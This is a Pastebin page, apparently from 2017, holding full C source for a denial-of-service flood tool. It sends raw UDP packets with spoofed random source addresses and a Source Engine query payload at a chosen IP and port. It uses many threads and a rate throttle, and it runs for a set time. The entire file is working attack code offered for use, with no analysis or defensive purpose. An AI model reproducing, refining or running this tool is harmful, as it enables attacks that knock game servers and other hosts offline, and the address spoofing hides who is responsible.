xttpx

home

Jul 3rd, 2017
10,049
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.01 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <sys/ioctl.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <stdio.h>
  9. #include <pthread.h>
  10. #include <netinet/udp.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/in.h>
  13. #include <netinet/if_ether.h>
  14. #include <netdb.h>
  15. #include <net/if.h>
  16. #include <arpa/inet.h>
  17. #define MAX_PACKET_SIZE 4096
  18. #define PHI 0x9e3779b9
  19. static unsigned long int Q[4096], c = 362436;
  20. static unsigned int floodport;
  21. volatile int limiter;
  22. volatile unsigned int pps;
  23. volatile unsigned int sleeptime = 100;
  24. void init_rand(unsigned long int x)
  25. {
  26.         int i;
  27.         Q[0] = x;
  28.         Q[1] = x + PHI;
  29.         Q[2] = x + PHI + PHI;
  30.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  31. }
  32. unsigned long int rand_cmwc(void)
  33. {
  34.         unsigned long long int t, a = 18782LL;
  35.         static unsigned long int i = 4095;
  36.         unsigned long int x, r = 0xfffffffe;
  37.         i = (i + 1) & 4095;
  38.         t = a * Q[i] + c;
  39.         c = (t >> 32);
  40.         x = t + c;
  41.         if (x < c) {
  42.         x++;
  43.         c++;
  44.         }
  45.         return (Q[i] = r - x);
  46. }
  47. unsigned short csum (unsigned short *buf, int count)
  48. {
  49.         register unsigned long sum = 0;
  50.         while( count > 1 ) { sum += *buf++; count -= 2; }
  51.         if(count > 0) { sum += *(unsigned char *)buf; }
  52.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  53.         return (unsigned short)(~sum);
  54. }
  55. unsigned short udpcsum(struct iphdr *iph, struct udphdr *udph) {
  56.         struct udp_pseudo
  57.         {
  58.         unsigned long src_addr;
  59.         unsigned long dst_addr;
  60.         unsigned char zero;
  61.         unsigned char proto;
  62.         unsigned short length;
  63.         } pseudohead;
  64.         unsigned short total_len = iph->tot_len;
  65.         pseudohead.src_addr=iph->saddr;
  66.         pseudohead.dst_addr=iph->daddr;
  67.         pseudohead.zero=0;
  68.         pseudohead.proto=IPPROTO_UDP;
  69.         pseudohead.length=htons(sizeof(struct udphdr));
  70.         int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr);
  71.         unsigned short *udp = malloc(totaludp_len);
  72.         memcpy((unsigned char *)udp,&pseudohead,sizeof(struct udp_pseudo));
  73.         memcpy((unsigned char *)udp+sizeof(struct udp_pseudo),(unsigned char *)udph,sizeof(struct udphdr));
  74.         unsigned short output = csum(udp,totaludp_len);
  75.         free(udp);
  76.         return output;
  77. }
  78. void setup_ip_header(struct iphdr *iph)
  79. {
  80.         iph->ihl = 5;
  81.         iph->version = 4;
  82.         iph->tos = 0;
  83.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
  84.         iph->id = htonl(54321);
  85.         iph->frag_off = 0;
  86.         iph->ttl = MAXTTL;
  87.         iph->protocol = IPPROTO_UDP;
  88.         iph->check = 0;
  89.         iph->saddr = inet_addr("192.168.3.100");
  90. }
  91. void setup_udp_header(struct udphdr *udph)
  92. {
  93.         udph->source = htons(5678);
  94.         udph->check = 0;
  95.         memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", 25);
  96.         udph->len=htons(sizeof(struct udphdr) + 25);
  97. }
  98. void *flood(void *par1)
  99. {
  100.         char *td = (char *)par1;
  101.         char datagram[MAX_PACKET_SIZE];
  102.         struct iphdr *iph = (struct iphdr *)datagram;
  103.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  104.         struct sockaddr_in sin;
  105.         sin.sin_family = AF_INET;
  106.         sin.sin_port = htons(floodport);
  107.         sin.sin_addr.s_addr = inet_addr(td);
  108.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
  109.         if(s < 0){
  110.         fprintf(stderr, "Could not open raw socket.\n");
  111.         exit(-1);
  112.         }
  113.         memset(datagram, 0, MAX_PACKET_SIZE);
  114.         setup_ip_header(iph);
  115.         setup_udp_header(udph);
  116.         udph->dest = htons(floodport);
  117.         iph->daddr = sin.sin_addr.s_addr;
  118.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  119.         int tmp = 1;
  120.         const int *val = &tmp;
  121.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  122.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  123.         exit(-1);
  124.         }
  125.         init_rand(time(NULL));
  126.         register unsigned int i;
  127.         i = 0;
  128.         while(1){
  129.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  130.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  131.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  132.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  133.         udph->source = htons(rand_cmwc() & 0xFFFF);
  134.         udph->check = 0;
  135.         udph->check = udpcsum(iph, udph);
  136.         pps++;
  137.         if(i >= limiter)
  138.         {
  139.         i = 0;
  140.         usleep(sleeptime);
  141.         }
  142.         i++;
  143.         }
  144. }
  145. int main(int argc, char *argv[ ])
  146. {
  147.         if(argc < 6){
  148.         fprintf(stderr, "Invalid parameters!\n");
  149.         fprintf(stdout, "Usage: %s <target IP> <port> <number threads to use> <throttle, -1 for no limit> <time>\n", argv[0]);
  150.         exit(-1);
  151.         }
  152.         fprintf(stdout, "Setting up Sockets...\n");
  153.         int num_threads = atoi(argv[3]);
  154.         floodport = atoi(argv[2]);
  155.         int maxpps = atoi(argv[4]);
  156.         limiter = 0;
  157.         pps = 0;
  158.         pthread_t thread[num_threads];
  159.         int multiplier = 20;
  160.         int i;
  161.         for(i = 0;i<num_threads;i++){
  162.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  163.         }
  164.         fprintf(stdout, "Starting Flood...\n");
  165.         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  166.         {
  167.         usleep((1000/multiplier)*1000);
  168.         if((pps*multiplier) > maxpps)
  169.         {
  170.         if(1 > limiter)
  171.         {
  172.         sleeptime+=100;
  173.         } else {
  174.         limiter--;
  175.         }
  176.         } else {
  177.         limiter++;
  178.         if(sleeptime > 25)
  179.         {
  180.         sleeptime-=25;
  181.         } else {
  182.         sleeptime = 0;
  183.         }
  184.         }
  185.         pps = 0;
  186.         }
  187.         return 0;
  188. }
Add Comment
Please, Sign In to add comment